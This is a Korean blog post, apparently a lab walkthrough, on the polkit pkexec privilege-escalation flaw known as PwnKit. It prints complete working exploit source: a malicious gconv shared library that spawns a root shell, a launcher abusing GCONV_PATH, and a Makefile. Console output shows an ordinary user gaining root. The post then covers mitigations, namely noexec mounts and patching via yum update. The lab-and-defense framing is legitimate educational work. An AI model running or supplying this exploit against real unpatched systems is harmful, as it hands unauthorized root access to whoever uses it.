https://www.boannews.com/media/view.asp?idx=104468
거의 모든 리눅스 배포판에서 발견된 폰킷 취약점, 공격 난이도 낮아
리눅스 배포판 거의 전부에 탑재되어 있는 인증 소프트웨어에서 로컬 권한 상승 취약점이 발견됐다. 익스플로잇이 매우 쉬우며, 오류에 대한 기술적 설명만 가지고도 해킹 공격을 시연한 사례
www.boannews.com
루트 권한을 얻어보자!
리눅스 polkit 취약점
파일 3개: evil-so.c, exploit.c, Makefile
1. 사용자 생성
# useradd user1
# passwd user1
2. 공격 코드 작성
공격자가 공격코드를 작성해서 컴파일한다.
user1로 로그인해서 evil-so.c 파일을 생성한다.
$ vi evil-so.c
// evil-so.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
setuid(0);
setgid(0);
setgroups(0);
execve("/bin/sh", NULL, NULL);
}
exploit.c 파일을 생성한다.
$ vi exploit.c
// exploit.c
#include <stdio.h>
#include <stdlib.h>
#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"
int main()
{
char *envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
};
char *argv[] = { NULL };
system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir " DIR);
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);
execve(BIN, argv, envp);
return 0;
}
Makefile을 생성한다.
$ vi Makefile
all:
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit
clean:
rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so
3. gcc 설치
gcc를 설치한다.
# yum -y install gcc
4. 컴파일
make 를 이용해서 컴파일해서 실행파일 exploit, evil.so 파일을 생성한다.
$ make
5. 공격코드 실행
생성된 exploit 파일을 실행한다.
문제가 되는 취약점을 공략해서 일반유저 -> 관리자 권한을 획득한다. (권한 상승)
$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ ./exploit
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
취약점 막기
취약점에 대한 방어를 하기 위해서는 업데이트를 해야한다.
일반유저가 쓰기 권한을 가지고 있는 디렉터리에 대해서 실행권한을 빼주는 것이 안전하다.
- /etc/fstab 부분에 option 부분의 defaults ( exec 실행 ) -> defaults,noexec 으로 수정하면
실행파일이 그쪽 파티션에 있어도 실행할 수 없는 것이다.
여기서는 자동으로 설치했기 때문에 파티션이 분할되지 않았기 때문에
분할된 파티션인 /boot 디렉터리에서 사용자를 /boot 디렉터리 밑에 생성 시킨다.
취약점 막기
# mkdir /boot/home2
# useradd -D -b /boot/home2
# useradd -D
GROUP=100
HOME=/boot/home2
INACTIVE=-1
EXPIRE=
SHELL=/bin/bash
SKEL=/etc/skel
CREATE_MAIL_SPOOL=yes
# vi /etc/fstab
/dev/mapper/centos-root / xfs defaults 0 0
UUID=bbc7b2e7-350e-4801-9562-5d920043786f /boot xfs defaults,noexec 0 0
/dev/mapper/centos-swap swap swap defaults 0 0
# mount -o remount /boot
# mount | grep boot
/dev/sda1 on /boot type xfs (rw,noexec,relatime,seclabel,attr2,inode64,noquota)
# useradd user2
# passwd user2
user2가 로그인을 한다.
[user2@localhost ~]$ pwd
/boot/home2/user2
$ vi evil-so.c
$ vi exploit.c
$ vi Makefile
$ make
$ ll
합계 36
-rw-rw-r--. 1 user2 user2 149 6월 13 17:46 Makefile
-rw-rw-r--. 1 user2 user2 199 6월 13 17:45 evil-so.c
-rwxrwxr-x. 1 user2 user2 8224 6월 13 17:46 evil.so
-rwxrwxr-x. 1 user2 user2 8416 6월 13 17:46 exploit
-rw-rw-r--. 1 user2 user2 629 6월 13 17:46 exploit.c
실행파일이 실행되지 않게 설정한 (defaults,noexec) 파티션에서 공격코드를 실행하면 허가 거부된다.
$ ./exploit
-bash: ./exploit: 허가 거부
공격자 입장에서 전체 시스템 디렉터리에서 일반유저가 저장(write)할 수 있는 디렉터리를 모두 찾는다.
$ find / -perm -1000 2> /dev/null -ls
8517 0 drwxrwxrwt 2 root root 40 6월 13 16:12 /dev/mqueue
8741 0 drwxrwxrwt 4 root root 120 6월 13 17:49 /dev/shm
69 0 drwxrwxrwt 3 root root 85 6월 13 17:16 /var/tmp
16777288 0 drwxrwxrwt 10 root root 276 6월 13 17:47 /tmp
17324864 0 drwxrwxrwt 2 root root 6 6월 13 16:04 /tmp/.Test-unix
50623472 0 drwxrwxrwt 2 root root 6 6월 13 16:04 /tmp/.font-unix
295539 0 drwxrwxrwt 2 root root 6 6월 13 16:04 /tmp/.XIM-unix
17324868 0 drwxrwxrwt 2 root root 6 6월 13 16:04 /tmp/.X11-unix
50623473 0 drwxrwxrwt 2 root root 6 6월 13 16:04 /tmp/.ICE-unix
$ df
Filesystem 1K-blocks Used Available Use% Mounted on
devtmpfs 485800 0 485800 0% /dev
tmpfs 497836 40 497796 1% /dev/shm
tmpfs 497836 7904 489932 2% /run
tmpfs 497836 0 497836 0% /sys/fs/cgroup
/dev/mapper/centos-root 17811456 1613032 16198424 10% /
/dev/sda1 1038336 140536 897800 14% /boot
tmpfs 99568 0 99568 0% /run/user/0
tmpfs 99568 0 99568 0% /run/user/1000
tmpfs 99568 0 99568 0% /run/user/1001
root로 권한 상승이 되는 이유는 ?
- 일반유저가 /tmp 디렉터리에 write,exec할 수 있기 때문에 가능하다.
GCONV_PATH=. evildir 디렉터리가 생기고 그 안에 파일을 생성하기 때문이다.
$ cd /tmp
$ pwd
/tmp
$ cp ~/evil-so .
$ cp ~/exploit .
$ ./explot
# exit
$ cd /dev/shm
$ pwd
/dev/shm
$ cp ~/evil-so .
$ cp ~/exploit .
$ ./explot
# exit
실제 연습이 끝나면 사용자 디렉터리를 /boot/home2에서 /home으로 다시 원래대로 돌려 놓는다.
# useradd -D -b /home
# useradd -D
GROUP=100
HOME=/home
INACTIVE=-1
EXPIRE=
SHELL=/bin/bash
SKEL=/etc/skel
CREATE_MAIL_SPOOL=yes
yum -y update
서버가 재부팅 후 로그인해서 user1 디렉터리로 이동한다.
# cd ~user1
# ls
GCONV_PATH=. Makefile evil-so.c evil.so evildir exploit exploit.c
# rm -rf GCONV_PATH\=./ evildir/
# ls
Makefile evil-so.c evil.so exploit exploit.c
user1로 로그인 해서 ./exploit을 실행한다.
polkit 취약점이 이미 패치되었기 때문에 관리자 권한을 탈취할 수 없다.
$ ./exploit
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
Report bugs to: http://lists.freedesktop.org/mailman/listinfo/polkit-devel
polkit home page: <http://www.freedesktop.org/wiki/Software/polkit>
$ ls
GCONV_PATH=. Makefile evil-so.c evil.so evildir exploit exploit.c
'정보 > 엔지니어' 카테고리의 다른 글
crackstation hash 암호 크랙 사이트 (0) | 2022.09.19 |
---|---|
mobaxterm SSH툴 (0) | 2022.08.26 |
니콜라스가 설명해주는 NFT 해킹 사태 (0) | 2022.05.25 |
쿠버네티스, 컨테이너 - 삼성SDS 발행 글 (0) | 2022.05.19 |
리눅스, Mac 보안 취약점 - 쉘쇼크(ShellShock) (0) | 2022.05.18 |